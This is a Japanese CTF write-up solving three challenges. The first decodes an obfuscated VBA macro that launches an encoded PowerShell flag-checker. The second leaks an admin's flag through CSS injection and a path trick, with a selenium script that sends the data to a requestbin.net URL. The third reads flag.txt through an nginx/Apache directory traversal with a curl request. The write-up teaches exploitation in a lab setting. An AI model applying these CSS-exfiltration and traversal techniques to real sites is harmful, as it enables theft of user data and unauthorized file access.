    "l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9" & _
    "3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n" & _
    "d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==")
        cleartext = ""
        For i = LBound(ciphertext) To UBound(ciphertext)
            cleartext = cleartext & Chr(key(i + start) Xor ciphertext(i))
        Next
        unxor = cleartext
    End Function
    (SNIPPED)
    

    xor を使って難読化されている部分があります。まずはこれを復号してみます。

    import re
    from base64 import b64decode
    
    
    key = b64decode(b"rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkll3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh93K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6nd1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==")
    
    
    def unxor(enc, idx):
        cleartext = ""
        for i in range(len(enc)):
            cleartext += chr(key[i + idx] ^ enc[i])
        return cleartext
    
    
    encs = "CreateObject(unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)).Run unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)"
    
    tmp = ""
    for m in re.findall(r"unxor\(Array\(([0-9, ]*)\), ([0-9]*)\)", encs):
        tmp += unxor(list(map(int, eval(f"[{m[0]}]"))), int(m[1]))
    print(tmp)
    WScript.Shellpowershell -e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA

    -e 以降のもの (base64encode されている) を powershell で実行しているようです。 base64decode をかけると、

    b".('ieX')(nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct  SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()"

    何らかの文字列に対して base64 decode -> deflateStream をかけています。 zlib で圧縮されているらしいのでもとに戻してみます。

    import zlib
    
    
    decompressed = zlib.decompress(b64decode("bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=="), -15)
    b'echo "Yes, we love VBA!"\n\n$input = Read-Host "Password"\n\nif ($input -eq "FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}") {\n  Write-Output "Correct!"\n} else {\n  Write-Output "Incorrect"\n}\n\n'

    フラグの文字列と一致しているかを比較していることがわかりました。

    FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}

    Web

    Styled memo

    19 solves

    css をアップロードすることができるノートアプリです。 css を使った何かが鍵となりそうな気配がするのでググってみると CSS injection というものが存在しました。この手法についてはこのスライドがわかりやすかったです。各タグの属性値の値によって query 先を分岐させるような css を書くことで、属性値を1文字ずつリークできます。今回の問題ではフラグが書かれたノートは属性値として与えられているので css からアクセス可能です。

    しかし css のアップロードはできても、 admin の css を設定できるわけではないためなんとかする必要があります。 css のアップロード先のリンクを見ると、 /media/USERNAME/FILENAME となっています。デフォルトの FILENAMEexample.css です。 ここで自分の USERNAMEADMINNAME/ と変更してみます。するとアップロードした css は /media/ADMINNAME//FILENAME にアップロードされます。 FILENAMEexample.css に指定すれば、 admin がアクセスする css と path が一致するため、 admin が参照する css そのものとなります。これで任意の css を admin に踏ませることができます。

    以上をもって css を作ってアップロードして admin に踏ませることで1文字ずつリークできるようになります。これを繰り返せばフラグが入手できます。 本当は自動化したかったのですが requestbin.net で query parameter をいい感じに取ってくるのが面倒だったため、1文字ずつ人力で回しました…また python の requests が上手く動作せず 403 が返ってきてしまうため selenium を使いました。 csrf 周りの問題だと思うのだけれど、上手く設定できず…

    solve.py
    import os
    from selenium import webdriver
    import string
    
    
    sessionid = "951pwbd8amj5ftk1ptzprestm550n3bq"
    user_url = "https://styled-memo.web.wanictf.org/user"
    crawl_url = "https://styled-memo.web.wanictf.org/crawl"
    css_path = os.getcwd() + "/example.css"
    
    css_template = """button[data-title="FLAG"][data-content^="{value}"] {{
        background-image: url("https://requestbin.net/r/h0ua2hop?value={value}");
    }}
    """
    
    driver = webdriver.Chrome()
    
    def checker(prefix: str):
        with open(css_path, "w") as f:
            for c in set(string.ascii_letters + string.digits + string.punctuation) - set("'"):
                css = css_template.format(value=prefix+c)
                f.write(css)
    
        driver.get(user_url)
        driver.add_cookie({"name": "sessionid", "value": sessionid})
        driver.get(user_url)
        driver.find_element_by_id("id_css").send_keys(css_path)
        driver.find_element_by_xpath("//button[@class='btn btn-primary']").click()
        driver.get(crawl_url)
    
    
    # 手動で1文字ずつ追加していく…
    flag = "FLAG{"
    checker(flag)
    driver.quit()

    FLAG{[email protected]}

    traversal

    36 solves

    ヒントに「設定に違和感」と書いてあったため、設定ファイルをひたすら眺めます。怪しい設定が2つ見つかりました。

    1つ目はここ。

    lb/conf/default.conf
    server {
        listen       80;
        listen  [::]:80;
        server_name  localhost;
        merge_slashes off;
    
        location / {
            proxy_pass http://traversal-web:80;
        }
    }

    merge_slashes というのはデフォルトでは on らしいですが、わざわざ off にしています。これは URL の path 中に slash が連なっているときに1つにするかしないかを決める設定みたいです。これが off の場合、 directory traversal が使える可能性があります。

    2つ目の怪しい設定はここ。

    web/httpd.conf
    <IfModule alias_module>
        (SNIPPED)
        ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
    </IfModule>
    

    /cgi-bin/ にアクセスすることが /usr/local/apache2/cgi-bin/ にアクセスすることに繋がります。

    以上2点を組み合わせると、 /cgi-bin///////../../../../../flag.txt のような path にアクセスすれば flag.txt にアクセスできそうです。しかし404が返ってしまいます。 原因がわからずあれこれ試してみると、 . ではなく %2e を使えば上手くいきました。なんで

    curl https://traversal.web.wanictf.org/cgi-bin///////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/flag.txt

    FLAG{n61nx_w34k_c0nf16_m3r63_5l45h35}